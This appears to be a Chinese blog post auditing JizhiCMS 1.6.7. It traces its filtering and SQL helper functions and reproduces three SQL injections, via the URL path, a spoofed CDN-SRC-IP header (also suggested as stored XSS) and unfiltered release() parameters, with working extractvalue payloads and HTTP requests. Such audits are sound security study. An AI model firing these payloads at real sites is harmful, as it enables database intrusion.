[PHP代码审计]极致CMS1.6.7 SQL注入审计

0x01 前言

最近在学习php代码审计,刚好端午在家的时候菜的没事做,看了下cnvd,发现这个cms中sql注入问题挺多的,hhh,复现玩玩。主要目标就是复现一下网站前台的sql注入。所有均为个人理解,可能有理解错误的地方,还请师傅们指正。
在这里插入图片描述
此Cms下载链接https://www.jizhicms.cn/thread-95-1-1.html

0x02 cms目录架构

这个cms目录架构大致如下:

├── 404.html
├── A	后台控制文件
├── Conf公共函数
├── FrPHP框架
├── Home前台控制文件
├── Public公共静态文件
├── README.md
├── admin.php后台入口
├── backup备份
├── cache缓存
├── favicon.ico
├── index.php前台入口
├── install
├── readme.txt
├── static静态文件
└── web.config

0x03 函数

主要分析一下进行了过滤的函数(jizhicms_Beta1.6.7\FrPHP\lib\Controller.php)和进行sql处理的函数(jizhicms_Beta1.6.7\FrPHP\lib\Model.php)

3.1 frparam()函数

在此cms中大量调用了frparam()函数,具体代码如下:
jizhicms_Beta1.6.7\FrPHP\lib\Controller.php

// 获取URL参数值
public function frparam($str=null, $int=0,$default = FALSE, $method = null){
    
    
        
    $data = $this->_data;
    if($str===null) return $data;
    if(!array_key_exists($str,$data)){
    
    
        return ($default===FALSE)?false:$default;
    }
    
    if($method===null){
    
    
        $value = $data[$str];
    }else{
    
    
        $method = strtolower($method);
        switch($method){
    
    
            case 'get':
            $value = $_GET[$str];
            break;
            case 'post':
            $value = $_POST[$str];
            break;
            case 'cookie':
            $value = $_COOKIE[$str];
            break;
            
        } 
    }
    
    return format_param($value,$int);
    
    
}

这里跟进一下format_param()
jizhicms_Beta1.6.7\FrPHP\common\Functions.php

/**
    参数过滤,格式化
**/
function format_param($value=null,$int=0){
    
    
    if($value==null){
    
     return '';}
    switch ($int){
    
    
        case 0://整数
            return (int)$value;
        case 1://字符串
            $value=htmlspecialchars(trim($value), ENT_QUOTES);
            if(!get_magic_quotes_gpc())$value = addslashes($value);
            return $value;
        case 2://数组
            if($value=='')return '';
            array_walk_recursive($value, "array_format");
            return $value;
        case 3://浮点
            return (float)$value;
        case 4:
            if(!get_magic_quotes_gpc())$value = addslashes($value);
            return trim($value);
    }
}

从这可以看出来,format_param()函数将传递进来的$value变量通过$int变量判断他是整数还是字符串然后做一个相应的处理。
总的来说frparam()函数会对传递的参数进行过滤。

3.2 sql处理函数update()

	    // 修改数据
    public function update($conditions,$row)
    {
    
    
        $where = "";
		$row = $this->__prepera_format($row);
		if(empty($row))return FALSE;
		if(is_array($conditions)){
    
    
			$join = array();
			foreach( $conditions as $key => $condition ){
    
    
				$condition = '\''.$condition.'\'';
				$join[] = "{
      
      $key} = {
      
      $condition}";
			}
			$where = "WHERE ".join(" AND ",$join);
		}else{
    
    
			if(null != $conditions)$where = "WHERE ".$conditions;
		}
		foreach($row as $key => $value){
    
    
			if($value!==null){
    
    
				$value = '\''.$value.'\'';
				$vals[] = "{
      
      $key} = {
      
      $value}";
			}else{
    
    
				$vals[] = "{
      
      $key} = null";
			}
			
		}
		$values = join(", ",$vals);
		$table = self::$table;
		$sql = "UPDATE {
      
      $table} SET {
      
      $values} {
      
      $where}";
		return $this->runSql($sql);
		
		
    }

第28行$sql = "UPDATE {$table} SET {$values} {$where}";可以知道是进行的一个数据的修改操作这里跟进一下runsql($sql)
jizhicms_Beta1.6.7\FrPHP\lib\Model.php

    //执行SQL语句返回影响行数
    public function runSql($sql)
    {
    
    
        return $this->db->exec($sql);
    }

然后继续跟进exec($sql)
jizhicms_Beta1.6.7\FrPHP\db\DBholder.php

    //执行一条 SQL 语句,并返回受影响的行数
    public function exec($sql)
    {
    
    
        $this->arrSql[] = $sql;
        $n = $this->pdo->exec($sql);
        if(!$n){
    
    
            $msg = $this->pdo->errorInfo();
            if($msg[2]) Error_msg('数据库错误:' . $msg[2] . end($this->arrSql));
        }
        return $n;
}

可以注意到第七行代码$msg = $this->pdo->errorInfo(); 也就是说这里会在错误的情况下会有个打印的操作。

由于本身sql处理的函数没有对参数值进行过滤,参数如果没有经过frparam()函数进行处理就会造成sql注入。

3.3 sql处理函数findAll()

首先整个cms的sql执行的函数是在
jizhicms_Beta1.6.7\FrPHP\lib\Model.php下

    // 查询所有
    public function findAll($conditions=null,$order=null,$fields=null,$limit=null)
    {
    
    
        $where = '';
        if(is_array($conditions)){
    
    
            $join = array();
            foreach( $conditions as $key => $value ){
    
    
                $value =  '\''.$value.'\'';
                $join[] = "{
      
      $key} = {
      
      $value}";
            }
            $where = "WHERE ".join(" AND ",$join);
        }else{
    
    
            if(null != $conditions)$where = "WHERE ".$conditions;
        }
      if(is_array($order)){
    
    
            $where .= ' ORDER BY ';
            $where .= implode(',', $order);
      }else{
    
    
         if($order!=null)$where .= " ORDER BY  ".$order;
      }
        
        if(!empty($limit))$where .= " LIMIT {
      
      $limit}";
        $fields = empty($fields) ? "*" : $fields;
        $table = self::$table;
        $sql = "SELECT {
      
      $fields} FROM {
      
      $table} {
      
      $where}";
        
        return $this->db->getArray($sql);

    }

从这句代码$sql = "SELECT {$fields} FROM {$table} {$where}";就可以看出这个函数是进行的一个sql的查询操作,然后进行了return $this->db->getArray($sql);的操作,这里选择跟进一下 getArray()函数

        //执行SQL语句返回数组
    public function getArray($sql){
    
    
        if(!$result = $this->query($sql))return array();
        if(!$this->Statement->rowCount())return array();
        $rows = array();
        while($rows[] = $this->Statement->fetch(PDO::FETCH_ASSOC)){
    
    }
        $this->Statement=null;
        array_pop($rows);
        return $rows;
    }

在这继续跟进到query()函数,可以注意到第8行代码$msg = $this->pdo->errorInfo(); 也就是说这里会在错误的情况下会有个打印的操作
jizhicms_Beta1.6.7\FrPHP\lib\Model.php

    //执行SQL语句并检查是否错误
    public function query($sql){
    
    
        $this->filter[] = $sql;
        $this->Statement = $this->pdo->query($sql);
        if ($this->Statement) {
    
    
            return $this;
        }else{
    
    
            $msg = $this->pdo->errorInfo();
            if($msg[2]) exit('数据库错误:' . $msg[2] . end($this->filter));
        }
    }

3.4 sql处理函数 find()

find()函数和findAll()的区别就是find值查询一条数据。

    // 查询一条
    public function find($where=null,$order=null,$fields=null,$limit=1)
    {
    
    
	   if( $record = $this->findAll($where, $order, $fields, 1) ){
    
    
			return array_pop($record);
		}else{
    
    
			return FALSE;
		}
    }

3.5 sql处理函数add()

add()函数就是进行一个数据的新增来讲,总体来讲都会调用到runsql()这个函数,代码如下:
jizhicms_Beta1.6.7\FrPHP\lib\Model.php

  // 新增数据
  public function add($row)
  {
    
    
     if(!is_array($row))return FALSE;
      $row = $this->__prepera_format($row);
      if(empty($row))return FALSE;
      foreach($row as $key => $value){
    
    
          if($value!==null){
    
    
              $cols[] = $key;
              $vals[] = '\''.$value.'\'';
          }
      }
      $col = join(',', $cols);
      $val = join(',', $vals);
      $table = self::$table;
      $sql = "INSERT INTO {
      
      $table} ({
      
      $col}) VALUES ({
      
      $val})";
      if( FALSE != $this->runSql($sql) ){
    
    
          if( $newinserid = $this->db->lastInsertId() ){
    
    
              return $newinserid;
          }else{
    
    
              $a=$this->find($row, "{
      
      $this->primary} DESC",$this->primary);
              return array_pop($a);
          }
      }
      return FALSE;
  }

0x04 审计思路

可以发现这个cms的主要过滤参数是frparam()函数,进行sql处理的函数也没有对相应的参数进行过滤,且都会通过$msg = $this->pdo->errorInfo();进行报错输出,也就导致了,如果在进行sql处理的时候没有将传递的参数通过frparam()函数进行过滤,将会造成sql注入。
这里我的思路是看哪些地方调用了update()、add()、find()等相应的函数,然后看参数是否可控,是否进行过滤。
由于这里主要是看前台页面的,不涉及网站后台,所以可以把目录缩小到/home/c目录下。然后结合xdebug进行调试。

0x05 漏洞

5.1 第一个sql注入

第一个sql注入在网站首页

http://127.0.0.1/'and%20extractvalue(1,%20concat(0x5c,%20(select%20database()),0x5c))%20and%20%20'1'='1

在这里插入图片描述
这个漏洞点在\Home\c\HomeController.php文件下的jizhi()函数。主要代码如下:

    function jizhi(){
    
    
        //接收前台所有的请求
        $request_url = str_replace(APP_URL,'',REQUEST_URI);
        $position = strpos($request_url,'?');
        $url = ($position!==FALSE) ? substr($request_url,0,$position) : $request_url;
        $url = substr($url,1,strlen($url)-1);
        
    
        if($url=='' || $url=='/' || $url=='index.php' || $url=='index'.File_TXT){
    
    
            $this->index();exit;
        }
        
        //检查缓存
        $cache_file = APP_PATH.'cache/data/'.md5(frencode($url));
        $this->cache_file = $cache_file;
        if(!$this->frparam('ajax')){
    
    
            $this->start_cache($cache_file);
        }
        //  news/123.html  news-123.html  news-list-123.html
        $url = str_ireplace(File_TXT,'',$url);
        
        if(!$this->webconf['islevelurl']){
    
    
            //没有开启URL层级
            if(strpos($url,'/')!==false){
    
    
                $urls = explode('/',$url);
                //内容详情页
                $html = $urls[0];
                $id = (int)$urls[1];
                $res = M('classtype')->find(array('htmlurl'=>$html));
            }else{
    
    
                
                
                //栏目页
                $this->frpage = $this->frparam('page',0,1);
                if(strpos($url,'-')!==false){
    
    
                    //检测是否为分页
                    $res = M('classtype')->find(array('htmlurl'=>$url));
                    if(!$res){
    
    
                        //存在分页,取最后一个字符串
                        $html_x = explode('-',$url);
                        $this->frpage = array_pop($html_x);
                        if(!$this->frpage){
    
    
                            $this->error('链接错误!');exit;
                        }
                        $html = implode('-',$html_x);//再次拼接
                        $res = M('classtype')->find(array('htmlurl'=>$html));
                        
                    }else{
    
    
                        //不是分页
                        
                    }
                    
                }else{
    
    
                    $html = $url;
                    $res = M('classtype')->find(array('htmlurl'=>$html));
                    
                }
...............后面太多了,就省略了……………..

代码本身不是很复杂,这里用xdebug配合注释,可以一下就看清楚整个函数的流程。
简易分析一下这个jizhi()函数,首先可以跟进注释来理解,就先接受前台的请求,做了一个简易的处理,在这没有对相关参数进行过滤。
在这里插入图片描述
然后会进行多个if判断,假设传递一个参数1' 所以大致如下图1->2->3
执行到89行的$res = M('classtype')->find(array('htmlurl'=>$html));

在这里插入图片描述
后面的流程就是find()->findAll()->getArray()->query()
在这里插入图片描述
最后在
D:\phpstudy\WWW\jizhicms_Beta1.6.7\Home\c\ErrorController.php下进行一个输出。
在这里插入图片描述
在这里插入图片描述

5.2 第二个注入&存储XSS

第二个漏洞是cms的留言功能,
\jizhicms_Beta1.6.7\Home\c\ MessageController.php下的index()函数,代码如下:

    function index(){
    
    
        
        if($_POST){
    
    
            
            $w = $this->frparam();
            $w = get_fields_data($w,'message',0);
            
            $w['body'] = $this->frparam('body',1,'','POST');
            $w['user'] = $this->frparam('user',1,'','POST');
            $w['tel'] = $this->frparam('tel',1,'','POST');
            $w['aid'] = $this->frparam('aid',0,0,'POST');
            $w['tid'] = $this->frparam('tid',0,0,'POST');
            
            if($this->webconf['autocheckmessage']==1){
    
    
                $w['isshow'] = 1;
            }else{
    
    
                $w['isshow'] = 0;
            }
            
            $w['ip'] = GetIP();
            $w['addtime'] = time();
            if(isset($_SESSION['member'])){
    
    
                $w['userid'] = $_SESSION['member']['id'];
            }
            
            if($this->frparam('title',1,'','POST')==''){
    
    
                //$this->error('标题不能为空!');
                if($this->frparam('ajax')){
    
    
                    JsonReturn(['code'=>1,'msg'=>'标题不能为空!']);
                }
                Error('标题不能为空!');
            }
            if($w['user']==''){
    
    
                //$this->error('姓名不能为空!');
                if($this->frparam('ajax')){
    
    
                    JsonReturn(['code'=>1,'msg'=>'称呼不能为空!']);
                }
                Error('称呼不能为空!');
            }
            
            
            $w['title'] = $this->frparam('title',1);
            //仅在存在手机号的情况进行检测手机号是否有效-可自由设置
            if($w['tel']!=''){
    
    
                if(!preg_match("/^(13[0-9]|14[579]|15[0-3,5-9]|16[6]|17[0135678]|18[0-9]|19[89])\\d{8}$/",$w['tel'])){
    
      
                    //$this->error('您的手机号格式不正确!');
                    if($this->frparam('ajax')){
    
    
                        JsonReturn(['code'=>1,'msg'=>'您的手机号格式不正确!']);
                    }
                    Error('您的手机号格式不正确!');
                }
                
            }
            
            
            
            
            if(!isset($_SESSION['message_time'])){
    
    
                $_SESSION['message_time'] = time();
                $_SESSION['message_num'] = 0;
            }
            
            if(($_SESSION['message_time']+10*60)<time()){
    
    
                $_SESSION['message_num'] = 0;
            }
            $_SESSION['message_num']++;
            if($_SESSION['message_num']>10 && ($_SESSION['message_time']+10*60)<time()){
    
    
                //$this->error('您操作过于频繁,请10分钟后再尝试!');
                if($this->frparam('ajax')){
    
    
                    JsonReturn(['code'=>0,'msg'=>'您操作过于频繁,请10分钟后再尝试!']);
                }
                Error('您操作过于频繁,请10分钟后再尝试!');
            }
            
            
            $res = M('message')->add($w);
            if($res){
    
    
                if($this->frparam('ajax')){
    
    
                    JsonReturn(['code'=>1,'msg'=>'提交成功!我们会尽快回复您!','url'=>get_domain()]);
                }
                Success('提交成功!我们会尽快回复您!',get_domain());
            }else{
    
    
                if($this->frparam('ajax')){
    
    
                    JsonReturn(['code'=>1,'msg'=>'提交失败,请重试!']);
                }
                //$this->error('提交失败,请重试!');
                Error('提交失败,请重试!');
            }
            
            
            
        }
        

        
    }
}

简要的分析一下这段代码, 前段代码主要是对传送过来的数据进行一个收值,然后过滤,但是可以注意到在整个文件的第41行代码$w['ip'] = GetIP();
在这里插入图片描述
这里引起了注意,选择跟进一下GetIP()函数
\jizhicms_Beta1.6.7\FrPHP\common\ Functions.php

function GetIP(){
    
     
    static $ip = '';
    $ip = $_SERVER['REMOTE_ADDR'];
    if(isset($_SERVER['HTTP_CDN_SRC_IP'])) {
    
    
      $ip = $_SERVER['HTTP_CDN_SRC_IP'];
    } elseif (isset($_SERVER['HTTP_CLIENT_IP']) && preg_match('/^([0-9]{1,3}\.){3}[0-9]{1,3}$/', $_SERVER['HTTP_CLIENT_IP'])) {
    
    
      $ip = $_SERVER['HTTP_CLIENT_IP'];
    } elseif(isset($_SERVER['HTTP_X_FORWARDED_FOR']) AND preg_match_all('#\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}#s', $_SERVER['HTTP_X_FORWARDED_FOR'], $matches)) {
    
    
      foreach ($matches[0] AS $xip) {
    
    
        if (!preg_match('#^(10|172\.16|192\.168)\.#', $xip)) {
    
    
          $ip = $xip;
          break;
        }
      }
    }
    return $ip;
  }

从命名就可以看出来GetIP()是一个获取ip的操作,获取用户真实IP地址,在接入cdn的情况下获取真实源ip的,不是特别懂这个,但是可以看到第5行代码 $ip = $_SERVER['HTTP_CDN_SRC_IP'];,是没有进行任何过滤的,这里可以确认IP这个参数是可控的。
回到整个index()函数继续向下走
在这里插入图片描述
继续向下的话主要在文件第97行$res = M('message')->add($w);这里进行了一个sql的操作。由于在前面知道前面GetIP()函数处获取IP的地方过滤不完善,可以自己在请求头部构造一个CDN-SRC-IP即可造成sql注入。
利用方法如下:

POST /message/index.html HTTP/1.1
Host: 192.168.0.107
Content-Length: 20
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.0.107
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.0.107/msg.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=260dtl37k2itrt42glvgbfshp1
CDN-SRC-IP:2'and extractvalue(1,concat(0x5c,(select database()),0x5c)) and '1'='1
Connection: close

tid=4&user=1&title=1

在这里插入图片描述

这里有个猜想,既然这里参数没有过滤完善,后台如果看得到ip地址,那么这里应该也是可以造成XSS的。
在这里插入图片描述

5.3 第三个注入

这个注入点在D:\phpstudy\WWW\jizhicms_Beta1.6.7\Home\c\UserController.php下的release()函数下

function release(){
    
    
    $this->checklogin();
    error_reporting(E_ALL^E_NOTICE);

    if($_POST){
    
    
        $data = $this->frparam();
        $w['tid'] = $this->frparam('tid');
        if(!$w['tid']){
    
    
            Error('请选择分类!');
        }
        if(!isset($this->classtypedata[$w['tid']])){
    
    
            Error('分类错误!');
        }
        $w['molds'] = $this->classtypedata[$w['tid']]['molds'];
        $w = get_fields_data($data,$w['molds']);
        $w['htmlurl'] = $this->classtypedata[$w['tid']]['htmlurl'];
        $sql = array();
        if($w['tid']!=0){
    
    
            $sql[] = " tids like '%,".$w['tid'].",%' "; 
        }
        $sql[] = " molds = '".$w['molds']."' and isshow=1 ";
        $sql = implode(' and ',$sql);
        $fields_list = M('Fields')->findAll($sql,'orders desc,id asc');
        if($fields_list){
    
    
            foreach($fields_list as $v){
    
    
                if($v['ismust']==1){
    
    
                    if($data[$v['field']]==''){
    
    
                        if(in_array($v['fieldtype'],array(6,10))){
    
    
                            if($data[$v['field'].'_urls']==''){
    
    
                                Error($v['fieldname'].'不能为空!');
                            }
                        }else{
    
    
                            Error($v['fieldname'].'不能为空!');
                        }
                        
                    }
                }
            }
        }
        

        switch($w['molds']){
    
    
            case 'article':
                if(!$data['body']){
    
    
                    Error('内容不能为空!');
                }
                if(!$data['title']){
    
    
                    Error('标题不能为空!');
                }
                $data['body'] = $this->frparam('body',4);
                $w['title'] = $this->frparam('title',1);
                $w['seo_title'] = $w['title'];
                $w['keywords'] = $this->frparam('keywords',1);
                $w['litpic'] = $this->frparam('litpic',1);
                $w['body'] = $data['body'];
                $w['description'] = newstr(strip_tags($data['body']),200);
                

            break;
            case 'product':
                if(!$data['body']){
    
    
                    Error('内容不能为空!');
                }
                if(!$data['title']){
    
    
                    Error('标题不能为空!');
                }
                $w['title'] = $this->frparam('title',1);
                $w['seo_title'] = $w['title'];
                $w['litpic'] = $this->frparam('litpic',1);
                $w['keywords'] = $this->frparam('keywords',1);
                $w['pictures'] = $this->frparam('pictures',1);
                if($this->frparam('pictures_urls',2)){
    
    
                    $w['pictures'] = implode('||',$this->frparam('pictures_urls',2));
                }
                $data['body'] = $this->frparam('body',4);
                $w['body'] = $data['body'];
                if($this->frparam('description',1)){
    
    
                    $w['description'] = $this->frparam('description',1);
                }else{
    
    
                    $w['description'] = newstr(strip_tags($data['body']),200);
                }
                
            break;
            default:

            break;
        }
        $w['isshow'] = 0;//修改后的文章一律为未审核
        $w['member_id'] = $this->member['id'];
        
        $w['addtime'] = time();
        
        if($this->frparam('id')){
    
    
            $a = M($w['molds'])->update(['id'=>$this->frparam('id')],$w);
            if(!$a){
    
     Error('修改失败,请重试!');}
            Success('修改成功!',U('user/posts'));
        }else{
    
    
            $a = M($w['molds'])->add($w);
            if(!$a){
    
     Error('发布失败,请重试!');}
            Success('发布成功!',U('user/posts'));
        }

    }
    $molds = $this->frparam('molds',1,'article');
    $tid = $this->frparam('tid',0,0);
    if($this->frparam('id')){
    
    
        $this->data = M($molds)->find(['id'=>$this->frparam('id'),'member_id'=>$this->member['id']]);
        $molds = $this->data['molds'];
        $tid = $this->data['tid'];
    }else{
    
    
        $this->data = false;
    }
    $this->molds = $molds;
    $this->tid = $tid;
    $this->classtypetree =  get_classtype_tree();
    $this->display($this->template.'/user/article-add');

}

这里有个比较有趣的点,首先$data = $this->frparam();对post提交的表单数据进行了一个收值,然后$w['tid'] = $this->frparam('tid');这里是对tid值进行了一个过滤。但是到后面你会发现这个过滤没有用
在这里插入图片描述
继续跟进发现在整个文件的第957行的这一段代码$w = get_fields_data($data,$w['molds']); 经过这个函数过后,参数就没有进行过滤,具体可以进行跟进一下这个函数。
D:\phpstudy\WWW\jizhicms_Beta1.6.7\Conf\Functions.php

 //后台方法-获取表单提交的扩展字段的内容
 /**
    @param data   表单提交的内容
    @param molds  模块标识
    @param isadmin是否后台
 **/
function get_fields_data($data,$molds,$isadmin=1){
    
    
    if($isadmin){
    
    
        $fields = M('fields')->findAll(['molds'=>$molds,'isadmin'=>1],'orders desc,id asc');
    }else{
    
    
        //前台需要判断是否前台显示
        $fields = M('fields')->findAll(['molds'=>$molds,'isshow'=>1],'orders desc,id asc');
    }
    foreach($fields as $v){
    
    
        if(array_key_exists($v['field'],$data)){
    
    
            switch($v['fieldtype']){
    
    
                case 1:
                case 2:
                case 5:
                case 7:
                case 9:
                case 12:
                $data[$v['field']] = format_param($data[$v['field']],1);
                break;
                case 11:
                $data[$v['field']] = strtotime(format_param($data[$v['field']],1));
                break;
                case 3:
                $data[$v['field']] = format_param($data[$v['field']],4);
                break;
                case 4:
                case 13:
                $data[$v['field']] = format_param($data[$v['field']]);
                break;
                case 14:
                $data[$v['field']] = format_param($data[$v['field']],3);
                break;
                case 8:
                $r = implode(',',format_param($data[$v['field']],2));
                if($r!=''){
    
    
                    $r = ','.$r.',';
                } 
            
                $data[$v['field']] = $r;
                break;
               
            }
        }else if(array_key_exists($v['field'].'_urls',$data)){
    
    
            switch($v['fieldtype']){
    
    
                case 6:
                case 10:
                $data[$v['field']] = implode('||',format_param($data[$v['field'].'_urls'],2));
                break;
            }
        }else{
    
    
            
           $data[$v['field']] = '';      
            
        }
        
    }
    return $data;
    
}

这主要是后面的一个if判断有点问题if(array_key_exists($v['field'],$data)){}
这里debug的时候你会发现是没用$v['field']这个值的, 所以也就导致会直接执行$data[$v['field']] = '';也就造成了 对tid参数又没有过滤了。
在这里插入图片描述
返回整个release()函数,继续向后走,在965行进行了一个sql的操作$fields_list = M('Fields')->findAll($sql,'orders desc,id asc');可以看到$sql变量是由tid和molds这两个参数组成的。这两个参数是都没有过滤的,所以这里存在注入。
在这里插入图片描述
在这里插入图片描述
然后这里重新将参数重新设置后,继续往后面走,后面就主要是对内容标题等参数的一个过滤和判空等等,继续跟到后面整个文件的第1035行这里进行了一个if…else的操作。
在这里插入图片描述
这里的话,无论是怎么样都会触发sql的注入,本身对id这个参数是没存在什么过滤的,如果是发布文章的时候,会触发$a = M($w['molds'])->add($w);这里造成一个sql注入。
如果是对文章的一个修改
$a = M($w['molds'])->update(['id'=>$this->frparam('id')],$w);由于这里收的$w这个变量是收的前面的,是没用过滤的,所以emmm,这里同样也会造成sql注入。

利用方式
post数据包如下:

POST /user/release.html HTTP/1.1
Host: 192.168.0.111
Content-Length: 136
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.0.111
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.0.111/user/release.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=or47icmjn28rlqojj35trmgik3
Connection: close

id=&isshow=&molds=article&tid=2&title=1&keywords=1&litpic=&file_litpic=&description=1&submit=%E6%8F%90%E4%BA%A4&body=%3Cp%3E1%3C%2Fp%3E

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

Post数据包2:
POST /user/release/id/57/molds/article.html HTTP/1.1
Host: 192.168.0.111
Content-Length: 231
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.0.111
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.0.111/user/release/id/57/molds/article.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=or47icmjn28rlqojj35trmgik3
Connection: close

id=57&isshow=0&tid=2&title=1%27&keywords=1%27'&litpic=&file_litpic=&description=1%27&submit=%E6%8F%90%E4%BA%A4&body=%3Cp%3E1%26%2339%3B%3C%2Fp%3E

在这里插入图片描述
在这里插入图片描述

0x06 总结

1.这个cms学习审计还是挺有意思的,代码本身不算特别复杂,由于进行sql处理的函数是没有对参数进行过滤的,也就导致挖sql注入的时候主要是注意有没有被frparam()函数进行过滤即可。
2.留言获取ip的功能也挺有趣的,由于这样的一个操作$ip = $_SERVER['HTTP_CDN_SRC_IP'];,对ip过滤不完善,导致产生sql和xss漏洞。
3.还有就是release()函数下$w = get_fields_data($data,$w['molds']);这个操作骚气的,让已经过滤了的参数又不过滤,hhhh。总的来说还是一次有趣的学习。就这样把。

猜你喜欢

转载自blog.csdn.net/xiaoguaiii/article/details/108025600
今日推荐